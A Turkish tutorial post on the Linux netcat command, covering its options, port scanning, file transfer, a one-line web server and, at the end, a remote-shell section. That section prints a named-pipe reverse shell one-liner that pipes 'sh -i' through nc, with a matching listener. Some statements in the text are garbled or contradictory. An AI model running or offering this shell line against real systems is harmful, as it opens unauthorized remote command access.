Ödeme Yöntemleri Abuse

NC komutu Linux'ta ne işe yarar

29.08.2024, 02:19

netcat komutu TCP ve UDP protokollerini kullanarak veri göndermek ve almak için gereklidir. Geniş bir işlev kümesine sahip değildir, ancak bağlantı kontrolü ve basit hata ayıklama için yeterlidir. TCP protokolü ile nasıl iletişim kurulur? Bu soru birçok kullanıcı tarafından sorulmaktadır. Bu makalede bu soruya cevap vereceğiz ve ayrıca komutun gerçek uygulama örneklerini göstereceğiz.

Bu komut ne işe yarar?

netcat (veya nc) komutu ağ bağlantıları ile çalışmak için güçlü bir araçtır. Genellikle sistem yöneticileri ve geliştiriciler tarafından çeşitli görevler için kullanılır. İşte netcat'in ana işlevleri ve özellikleri:

  1. TCP/UDP bağlantıları kurma: TCP ve UDP protokollerini kullanarak uzak ana bilgisayarlara bağlantı kurmanızı sağlar.
  2. Port Dinleme: belirli bir portta gelen bağlantıları dinlemek için sunucu olarak kullanılabilir
  3. Veri aktarımı: bilgisayarlar arasında bir ağ üzerinden veri aktarımı. Bu, dosya aktarımı veya mesajlaşma için yararlı olabilir.
  4. Ağ uygulamalarında hata ayıklama: ağ hizmetlerini test etmek ve hata ayıklamak için kullanılır, rastgele veri göndermenize ve almanıza izin verir.
  5. Basit sohbetler oluşturma: iki sistem arasında basit metin iletişimi kurulabilir
  6. Port tarama: uzak ana bilgisayarlardaki açık portları kontrol etmek için kullanılabilir.
  7. Tünelleme: trafiği diğer bağlantı noktaları veya ana bilgisayarlar üzerinden yönlendirmek için tüneller oluşturmak için kullanılabilir.
  8. Proxy'lerle çalışma: Proxy sunucularıyla çalışmak ve çeşitli ağ görevlerini gerçekleştirmek için kullanılabilir.

netcat, basit mesajlaşmadan karmaşık ağ işlemlerine kadar çok çeşitli senaryolarda kullanılabilen çok yönlü bir araçtır.

Seçenekler

Sözdizimine ve en popüler olanlara bakarak başlayalım:

  • -6 - IPv6 protokolünü kullan. Varsayılan değer sırasıyla -4 ve IPv4'tür;
  • -h - mevcut parametrelerin listesiyle birlikte yardımı görüntüler;
  • -i - delay - dizeleri gönderme veya bağlantı noktalarını tarama arasında gecikme ekleyin. Saniye cinsinden ayarlanır;
  • -l - dinleme modu. Port belirtimi ile kullanılır;
  • -N - gönderirken dosyanın sonuna ulaşıldığında bağlantıyı kapatır;
  • -n - DNS olmadan doğrudan IP adresleri ile çalışır, ayrıca port taramasını devre dışı bırakır;
  • -P - user_name - proxy'ye bağlanmak için kullanıcı adını belirtin;
  • -x - address:port - proxy'ye bağlanmak için adres ve port belirtin;
  • -p - port - port numarasını belirtin. Çoğu durumda port parametre belirtilmeden okunur;
  • -U - UNIX etki alanı soketini kullanın (işlemler arası iletişim için);
  • -u- UDP protokolünü kullanın, varsayılan olarak TCP kullanılır;
  • -v - ayrıntılı mod. Tarama yaparken kullanılır;
  • -W number_packets- belirli sayıda paket aldıktan sonra bağlantıyı kapatır;
  • -w timer- bağlantı süresini sınırlamak için zamanlayıcıyı etkinleştirir. Saniye cinsinden ayarlanır;
  • -z - veri gönderimini devre dışı bırakır. Tarama sırasında kullanılır.

Komut aşağıdaki forma sahiptir (parametreler port adresi):

$ nc

Şimdi size bu komutu nasıl kullanacağınızı anlatacağız.

Bağlantı noktasını kontrol etme

Kontrol etmek netcat'in ana kullanımıdır. İki parametre kullanmalısınız -vz, adres ve port belirtin. Bir adres aralığı belirtebilirsiniz, ancak bu durumdagrep komutu ile sadece açık portları elemek daha iyidir. Yerel ağ adresinin portlarını tarayalım:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Aynı şekilde -u parametresini ekleyerek UDP portlarını da tarayalım:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

TCP ve UDP arasındaki temel farkı bilmelisiniz. Yani UDP'de portlar her zaman kullanılabilir.

Portu dinleme

l parametresi portu dinlemek için tasarlanmıştır. Genellikle yeterlidir, ancak ayrıntılı modu etkinleştirebilirsiniz:

$ nc -nlv 8080

TCP protokolünü kullanırken portun boş olması gerektiğini unutmayın, aksi takdirde Zaten kullanımda hatası görünecektir. Tüm portlar normal kullanıcılar tarafından kullanılamaz, örneğin port 80 (HTTP), büyük olasılıkla başka bir işlem tarafından işgal edilecek ve süper kullanıcı hakları gerektirecektir.

Dosya Değişimi

Komutun kullanışlı bir yeteneği veri alışverişidir. Basit bir örnek bir metin sohbet odasıdır. Bir bilgisayarda sohbet başlatmak için, yardımcı programı bağlantı noktası dinleme modunda çalıştırın:

$ nc -lp 8080

Diğer bilgisayarda, ilk bilgisayarın adresini ve aynı bağlantı noktasını belirtmeniz gerekecektir. Ayrıca portun açık olduğunu kontrol etmeyi unutmayın:

$ nc 0.0.0.0 8080

Bu şekilde mesaj gönderip alabileceksiniz. Yani, komut dosya alışverişi için tasarlanmıştır. Prensip aynıdır, ancak çıktıyı bir dosyaya, yani paste.txt dosyasına yönlendirmek gerekir:

$ nc -l 8080 > paste.txt

Diğer bilgisayarda, copy.txt dosyası girdi olarak hizmet edecektir. Dosya aktarımından sonra bağlantıyı kapatmak için -N parametresini kullanmak gereksiz değildir:

$ nc -N 0.0.0.0 8080 < copy.txt

Dosya aktarımı için, sırayı takip etmek önemlidir, önce dinlemeyi açın ve ancak daha sonra dosyayı gönderin. nc komutu çalışan bir komuttur, ancak dosya aktarımı için en iyi yol olmaktan uzaktır. Bu görev için daha verimli ve kullanışlı araçlar vardır.

Basit bir web sunucusu

NC komutu TCP protokolü ile çalışmadığından, HTTP isteklerinin hem gönderilmesine hem de alınmasına izin verir. Dolayısıyla, yardımcı program basit bir web sunucusu haline gelebilir. Evet, bu şekilde boş bir sayfadan daha zor bir şey yapamazsınız, ancak işlem neredeyse hiç zaman almayacaktır ve artı, ek bir şey yüklemenize gerek olmamasıdır.

Örnek formda index.html dosyası ile HTTP yanıtı. np'nin kendisinden bahsetmişken, tarayıcı yapmazsa bağlantıyı kesmek için -w 1 parametresiyle bir zamanlayıcı ayarlamak iyi bir fikirdir:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Bir web sitesinden veri almak için bir istek oluşturabilir ve bunu tavsiye edilen adres ve porta gönderebilirsiniz. Ancak bu yol oldukça karmaşıktır, uygun CURL komutunu kullanmak daha iyidir.

Uzak Kabuk

Yukarıda tartışılan örneklere dayanarak, komutun bilgisayarın kabuğuna uzaktan erişim düzenlemenize izin verdiği sonucuna varmak zor olmayacaktır. Önceden, NC yardımcı programının terminale erişimi açmak için birkaç parametresi vardı. e parametresi uzun zaman önce yardımcı programdan kaldırılmıştır, bu nedenle artık terminale basit bir erişim olmayacaktır. Uygulamanın kendi güvenliği daha yüksek hale geldi, ancak yine de başkalarıyla birlikte çalışabilir.

Şimdi mkfifo isimli kanalı kullanarak bağlantıyı gösterelim. Öncelikle erişim sağlayacağımız PC üzerindeki portu dinlemeye başlayalım:

$ nc -lvnp 8080

Terminali açmak için doğrudan komuta gidelim. Önce eski isimli kanalı silelim(rm /tmp/f), yerine yenisini oluşturalım(mkfifo /tmp/f), içeriğini okuyalım(cat /tmp/f) ve çıktısına bir kabuk komutu gönderelim(sh -i 2>&1). Bundan sonra, nc'yi adlandırılmış kanalımıza çıktı ile çalıştırmak kalır(nc 0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Bunun hacklemenin bir yolu olduğunu unutmayın, ancak ssh ile ilgili sorunlar varsa yararlı olabilir. Saldırıyı önlemek için bir güvenlik politikası ve güvenlik duvarı yapılandırın.